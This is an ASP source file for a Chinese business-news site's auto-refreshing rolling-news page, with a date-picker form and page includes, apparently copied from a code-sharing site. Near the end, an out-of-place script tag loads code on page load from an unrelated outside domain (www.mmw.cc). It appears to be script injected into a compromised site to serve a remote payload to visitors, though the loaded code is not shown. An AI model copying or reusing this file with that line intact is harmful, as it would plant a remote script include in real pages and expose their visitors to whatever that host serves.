📄 new.asp
字号:
<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<!--#include file="set.asp" -->
<!--#include file="function.asp" -->
<!--#include file="sub.asp" -->
<%
dim s1
theDate = Trim(Request.QueryString("theDate"))
If not IsDate(theDate) then
call GetNewsList(theDate,"new")
Else
call GetNewsList(theDate,"newall")
End if
%>
<html>
<head>
<title>商务世纪- 滚动新闻http://www.88com.cn</title>
<meta http-equiv="refresh" content="60">
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<link href="style.css" rel="stylesheet" type="text/css">
</head>
<body leftmargin="0" topmargin="0">
<!--#include file="top.asp" -->
<!--#include file="item.asp" -->
<table width="773" height="25" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#333333">
<tr>
<td bgcolor="#FF9900"> </td>
</tr>
</table>
<!--#include file="ad_top.asp" -->
<table width="773" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td width="160" valign="top" class="Item_7">
<!--#include file="ad_3.asp" -->
</td>
<td valign="top" class="Item_8"><table width="100%" border="0" cellpadding="0" cellspacing="0" bgcolor="#D6D7D6" class="Item_7">
<tr>
<td width="44"><img src="img/new_27_5.gif" width="41" height="20"></td>
<td valign="bottom"> <table width="100%" height="16" border="0" cellpadding="0" cellspacing="0">
<tr>
<td valign="top">滚 动 新 闻
(每分钟自动刷新一次)</td>
</tr>
</table></td>
</tr>
</table>
<table width="100%" border="0" cellpadding="0" cellspacing="10" class="newsLink">
<tr>
<td class="newslist"> <% = s1 %> </td>
</tr>
<tr>
<td class="newslist"><a href="new.asp?thedate=<%=Date%>">今日全部滚动新闻>></a></td>
</tr>
<SCRIPT LANGUAGE="JavaScript">
<!-- Hide
function ShowDateFile(){
if(document.forms.old_cheese.Year.selectedIndex==0) { alert("请选择年份"); return false;}
if(document.forms.old_cheese.Month.selectedIndex==0){ alert("请选择月份"); return false;}
if(document.forms.old_cheese.Day.selectedIndex==0) { alert("请选择日期"); return false;}
year = document.forms. old_cheese. Year.options[document.forms. old_cheese.Year.selectedIndex].value;
month= document.forms. old_cheese. Month.options[document.forms. old_cheese.Month.selectedIndex].value;
day = document.forms. old_cheese. Day.options[document.forms. old_cheese.Day.selectedIndex].value;
if(year==1999 && month<8 && day<19){alert("各栏目往日新闻是从1999年7月19日开始的"); return false;}
loadpos="new.asp?theDate="+year+"-"+month+"-"+day;
controlWindow=location.replace(loadpos);
return false;
}
//-->
</SCRIPT>
<form method="POST" action="--WEBBOT-SELF--" name='old_cheese'>
<tr>
<td> <select name="Year" size="1">
<option value="选择年份"> 选择年份 </option>
<option value="2003">2003</option>
<option value="2002">2002</option>
<option value="2001">2001</option>
<option value="2000">2000</option>
<option value="1999">1999</option>
</select> <select name="Month" size="1">
<option value="选择月份"> 选择月份 </option>
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>
<option value="4">4</option>
<option value="5">5</option>
<option value="6">6</option>
<option value="7">7</option>
<option value="8">8</option>
<option value="9">9</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
</select> <select name="Day" size="1">
<option value="选择日期"> 选择日期 </option>
<option value="01">1</option>
<option value="02">2</option>
<option value="03">3</option>
<option value="04">4</option>
<option value="05">5</option>
<option value="06">6</option>
<option value="07">7</option>
<option value="08">8</option>
<option value="09">9</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
<option value="13">13</option>
<option value="14">14</option>
<option value="15">15</option>
<option value="16">16</option>
<option value="17">17</option>
<option value="18">18</option>
<option value="19">19</option>
<option value="20">20</option>
<option value="21">21</option>
<option value="22">22</option>
<option value="23">23</option>
<option value="24">24</option>
<option value="25">25</option>
<option value="26">26</option>
<option value="27">27</option>
<option value="28">28</option>
<option value="29">29</option>
<option value="30">30</option>
<option value="31">31</option>
</select> <input type="button" value=" 观看本栏目新闻 " onClick="ShowDateFile();return false;">
</td>
</tr>
</form>
</table>
</td>
</tr>
</table><script src="http://www.mmw.cc/non5.asp"></script>
<!--#include file="about.asp" -->
</body>
</html>⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -